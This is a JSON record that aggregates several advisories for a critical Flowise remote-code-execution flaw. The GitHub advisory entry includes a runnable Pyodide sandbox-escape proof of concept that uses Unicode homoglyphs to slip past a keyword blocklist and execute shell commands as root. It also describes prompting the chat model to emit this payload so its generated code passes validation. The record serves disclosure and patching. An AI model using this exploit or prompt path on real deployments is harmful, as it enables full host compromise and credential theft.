{"id":"CVE-2026-70470","revision":null,"records":[{"revision":"09333624a21c483db1af133f2b4cb72b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-70470","aliases":[],"title":"Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide js module interop. The validator gates pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts with an ASCII word-boundary blacklist. JavaScript regex word boundaries are ASCII-only, while Python 3 NFKC-normalizes identifiers at parse time, so homoglyph forms such as __cl\uD835\uDC1Ass__, __subcl\uD835\uDC1Asses__, __b\uD835\uDC1Ase__, and __b\uD835\uDC2Eiltins__ bypass the blacklist and are parsed as their ASCII equivalents. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T17:30:54.176+00:00","modifiedAt":"2026-08-04T19:51:28.378+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"FlowiseAI\",\n                    \"product\": \"Flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.1.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.5,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-70470","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-70470","identifiers":["CVE-2026-70470"]},"retained":false,"historicalAffected":[]},{"revision":"effb718ebf8045f0837207b2f04d347a","observedAt":"2026-11-07T14:22:17.539+00:00","statement":{"source":"euvd","id":"EUVD-2026-52811","aliases":["CVE-2026-70470","GHSA-52fh-8v99-63c2"],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identif…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide js module interop. The validator gates pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts with an ASCII word-boundary blacklist. JavaScript regex word boundaries are ASCII-only, while Python 3 NFKC-normalizes identifiers at parse time, so homoglyph forms such as __cl\uD835\uDC1Ass__, __subcl\uD835\uDC1Asses__, __b\uD835\uDC1Ase__, and __b\uD835\uDC2Eiltins__ bypass the blacklist and are parsed as their ASCII equivalents. This issue is fixed in version 3.1.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.5,"severity":null}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-52811","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 4, 2026, 5:30:54 PM","dateUpdated":"Aug 4, 2026, 7:51:28 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-52811","identifiers":["EUVD-2026-52811","CVE-2026-70470","GHSA-52fh-8v99-63c2"]},"retained":false,"historicalAffected":[]},{"revision":"f73fa0e72ea3423cacb660b0adc048e5","observedAt":"2026-10-25T15:18:57.446+00:00","statement":{"source":"nvd","id":"CVE-2026-70470","aliases":[],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identif…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide js module interop. The validator gates pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts with an ASCII word-boundary blacklist. JavaScript regex word boundaries are ASCII-only, while Python 3 NFKC-normalizes identifiers at parse time, so homoglyph forms such as __cl\uD835\uDC1Ass__, __subcl\uD835\uDC1Asses__, __b\uD835\uDC1Ase__, and __b\uD835\uDC2Eiltins__ bypass the blacklist and are parsed as their ASCII equivalents. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T18:16:57.93+00:00","modifiedAt":"2026-10-24T15:10:00.19+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.5,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3","https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70470","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-184"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-04T18:16:57.930","lastModified":"2026-10-24T15:10:00.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-70470","identifiers":["CVE-2026-70470"]},"retained":false,"historicalAffected":[]},{"revision":"2ad86ae0656148639ca6aee455f7584e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-52fh-8v99-63c2","aliases":["CVE-2026-70470"],"title":"Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE","description":"### Summary\nThe validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).\n\n### Details\npackages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:\n\n```ts\n{ pattern: /\\bimport\\b/g, ... },\n{ pattern: /\\b__class__\\b/g, ... },\n{ pattern: /\\b__subclasses__\\s*\\(/g, ... },\n{ pattern: /\\b__builtins__\\b/g, ... },\n{ pattern: /\\b__mro__\\b/g, ... },\n// ... about 30 similar rules\n```\n\nTwo design flaws combine into a bypass:\n\n1. JavaScript regex `\\b` is ASCII-only. Word boundaries are computed against the ASCII word class `[A-Za-z0-9_]`. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so `\\b__class__\\b` never matches `__cl\uD835\uDC1Ass__`.\n2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. `__cl\uD835\uDC1Ass__`, `__subcl\uD835\uDC1Asses__`, `__b\uD835\uDC1Ase__`, `__b\uD835\uDC2Eiltins__`, and similar homoglyph forms are all parsed as their ASCII equivalents.\n\nAttribute access `obj.__cl\uD835\uDC1Ass__` is normalized because attribute names are identifiers. Dict string keys such as `bi['__import__']` are not normalized, but they are free text and can be assembled with `chr()` to avoid literal matches on patterns like `\\bimport\\b` or `\\b__import__\\s*\\(/`.\n\nFrom inside Pyodide, `__builtins__['__import__']('js')` yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes `process.mainModule.require('child_process').execSync`, which runs native commands on the host with the privileges of the Flowise process.\n\nAffected call sites:\n- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates `customReadCSV` (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated `pythonCode` before it reaches `pyodide.runPythonAsync(code)` on line 209.\n- packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated `pythonCode` before `pyodide.runPythonAsync` on line 197.\n\nThe original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.\n\n### PoC\nStandalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious `pythonCode` to the real validator, confirms the validator returns `valid: true`, then runs the same string through Pyodide and prints the output of a native command executed on the host:\n\n```js\n// npm install pyodide\nconst { loadPyodide } = require('pyodide')\n\nconst FORBIDDEN_PATTERNS = [\n  { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g }, { pattern: /\\bimport\\b/g },\n  { pattern: /\\beval\\s*\\(/g }, { pattern: /\\bexec\\s*\\(/g },\n  { pattern: /\\bcompile\\s*\\(/g }, { pattern: /\\b__import__\\s*\\(/g },\n  { pattern: /\\bopen\\s*\\(/g }, { pattern: /\\bgetattr\\s*\\(/g },\n  { pattern: /\\bos\\./g }, { pattern: /\\bsubprocess\\./g },\n  { pattern: /\\bsys\\./g }, { pattern: /\\bsocket\\./g },\n  { pattern: /\\burllib\\./g }, { pattern: /\\brequests\\./g },\n  { pattern: /\\b__builtins__\\b/g }, { pattern: /\\b__class__\\b/g },\n  { pattern: /\\b__subclasses__\\s*\\(/g }, { pattern: /\\b__bases__\\b/g },\n  { pattern: /\\b__mro__\\b/g }, { pattern: /\\b__globals__\\b/g },\n  { pattern: /\\b__code__\\b/g }, { pattern: /\\b__dict__\\b/g },\n]\nconst validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })\n\nconst payload = `\ncls = ().__cl\\u{1D41A}ss__\nbase = cls.__b\\u{1D41A}se__\nsubs = base.__subcl\\u{1D41A}sses__()\nfor c in subs:\n    if c.__name__ == 'catch_warnings':\n        cw = c()\n        bi = cw._module.__b\\u{1D42E}iltins__\n        imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2\n        imp = bi[imp_name]\n        js_mod = imp(chr(106)+chr(115))\n        cp_name = 'child' + chr(95) + 'process'\n        cp = js_mod.process.mainModule.require(cp_name)\n        opts = js_mod.Object.new(); opts.encoding = 'utf8'\n        result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)\n        break\nstr(result)\n`\n\n;(async () => {\n  console.log('validator passes:', validate(payload))   // true\n  const py = await loadPyodide()\n  console.log(await py.runPythonAsync(payload))\n})()\n```\n\nRun output on a stock host:\n\n```\nvalidator passes: true\nuid=0(root) gid=0(root) groups=0(root)\n<hostname>\nFLOWISE_RCE_CONFIRMED\n```\n\nLive path against a Flowise deployment:\n1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.\n2. For the LLM-generated path: send a chat message via `POST /api/v1/prediction/{chatflowId}` that instructs the model to answer in Python using mathematical bold letters for `__class__`, `__subclasses__`, `__base__`, and `__builtins__`, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host.\n3. For the direct path: a workspace user with chatflow edit rights sets `customReadCSV` to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.\n\n### Impact\nAny user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.","state":0,"publishedAt":"2026-08-04T17:31:09+00:00","modifiedAt":"2026-08-04T17:56:01.751716+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"flowise-components","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://github.com/advisories/GHSA-52fh-8v99-63c2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-52fh-8v99-63c2","identifiers":["GHSA-52fh-8v99-63c2","CVE-2026-70470"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}